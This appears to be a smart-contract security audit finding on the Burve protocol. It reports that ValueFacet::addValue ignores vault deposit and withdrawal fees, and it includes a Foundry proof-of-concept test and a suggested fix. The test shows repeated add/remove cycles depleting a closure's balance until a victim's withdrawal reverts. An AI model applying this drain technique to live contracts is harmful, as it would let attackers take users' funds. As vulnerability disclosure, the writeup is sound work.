Sneaky Burlap Pigeon

High

# The Closure's Balance May Be Depleted

### Summary
In the `ValueFacet::addValue` function, the `requiredBalances` calculation does not account for the deposit or withdrawal fees from `VaultE4626`. Consequently, when users deposit, the amounts corresponding to these fees are treated as closure's losses in the vault.

### Root Cause
In lines 87-93 of the `addValue` function, the `realNeeded` amount is transferred from the user and deposited into the vault. However, the closure's balance in the vault increases deducting the fees.

https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/src/multi/facets/ValueFacet.sol#L87-L93
```solidity
    function addValue(
        address recipient,
        uint16 _closureId,
        uint128 value,
        uint128 bgtValue
    )
        external
        nonReentrant
        returns (uint256[MAX_TOKENS] memory requiredBalances)
    {
        if (value == 0) revert DeMinimisDeposit();
        require(bgtValue <= value, InsufficientValueForBgt(value, bgtValue));
        ClosureId cid = ClosureId.wrap(_closureId);
        Closure storage c = Store.closure(cid);
        uint256[MAX_TOKENS] memory requiredNominal = c.addValue(
            value,
            bgtValue
        );
        // Fetch balances
        TokenRegistry storage tokenReg = Store.tokenRegistry();
        for (uint8 i = 0; i < MAX_TOKENS; ++i) {
            if (!cid.contains(i)) continue; // Irrelevant token.
            address token = tokenReg.tokens[i];
            uint256 realNeeded = AdjustorLib.toReal(
                token,
                requiredNominal[i],
                true
            );
            requiredBalances[i] = realNeeded;
87:         TransferHelper.safeTransferFrom(
                token,
                msg.sender,
                address(this),
                realNeeded
            );
93:         Store.vertex(VertexLib.newId(i)).deposit(cid, realNeeded);
        }
        Store.assets().add(recipient, cid, value, bgtValue);
    }
```

### Internal pre-conditions
There is deposit or withdraw fee in the vault.

### External pre-conditions
N/A

### Attack Path
An attacker can drain the closure's balance by repeatedly adding and removing value.

### PoC
The following code demonstrates a scenario where the vault's withdrawal fee is 0.1%. Even if there is yield in the vault, the user cannot withdraw their original assets.

https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/test/mocks/MockERC4626.sol
```solidity
contract MockERC4626 is ERC4626 {
    constructor(
        ERC20 asset,
        string memory name,
        string memory symbol
    ) ERC20(name, symbol) ERC4626(asset) {}
   
    function previewWithdraw(uint256 assets) public view override returns (uint256) {
        assets = assets * 1001 / 1000;
        return _convertToShares(assets, Math.Rounding.Ceil);
    }

    function previewRedeem(uint256 shares) public view override returns (uint256) {
        return _convertToAssets(shares, Math.Rounding.Floor) * 1000 / 1001;
    }
}
```
https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/test/facets/ValueFacet.t.sol
```solidity
    function test_AddRemoveValue() public {
        vm.prank(alice);
        valueFacet.addValue(alice, 0x7, 3e20, 0);
        
        uint256[4] memory initBalances = getBalances(bob);
        for (uint256 i = 0; i < 10; i++) {
            vm.prank(bob);
            valueFacet.addValue(bob, 0x7, 6e22, 0);
            vm.prank(bob);
            valueFacet.removeValue(bob, 0x7, 6e22, 0);
        }
        uint256[4] memory currentBalances = getBalances(bob);
        int256[4] memory diffs = diffBalances(currentBalances, initBalances);
        console.log("attacker_diffs[0] : %e", diffs[0]);
        console.log("attacker_diffs[1] : %e", diffs[1]);
        console.log("attacker_diffs[2] : %e\n", diffs[2]);

        MockERC20(tokens[0]).mint(address(vaults[0]), 1e19);
        MockERC20(tokens[1]).mint(address(vaults[1]), 1e19);
        MockERC20(tokens[2]).mint(address(vaults[2]), 1e19);

        vm.prank(alice);
        valueFacet.collectEarnings(alice, 0x7);

        vm.prank(alice);
        console.log("Alice wants to withdraw 2e20 from a total of 3e20!");
        valueFacet.removeValue(alice, 0x7, 2e20, 0);
        console.log("alice successfully withdraw!");
    }
```
forge test --match-test "test_AddRemoveValue" -vv
Result:
```bash
Ran 1 test for test/facets/ValueFacet.t.sol:ValueFacetTest
[FAIL: revert: ST] test_AddRemoveValue() (gas: 7987377)
Logs:
  attacker_diffs[0] : -1e1
  attacker_diffs[1] : -1e1
  attacker_diffs[2] : -1e1

  Alice wants to withdraw 2e20 from a total of 3e20!
```

### Impact
1. Users cannot access the yield from the vault.
2. The closure's balance in the vault could be drained.
3. Users cannot withdraw their assets from this contract.

### Mitigation
Increase the `realNeeded` to account for both deposit and withdrawal fees.
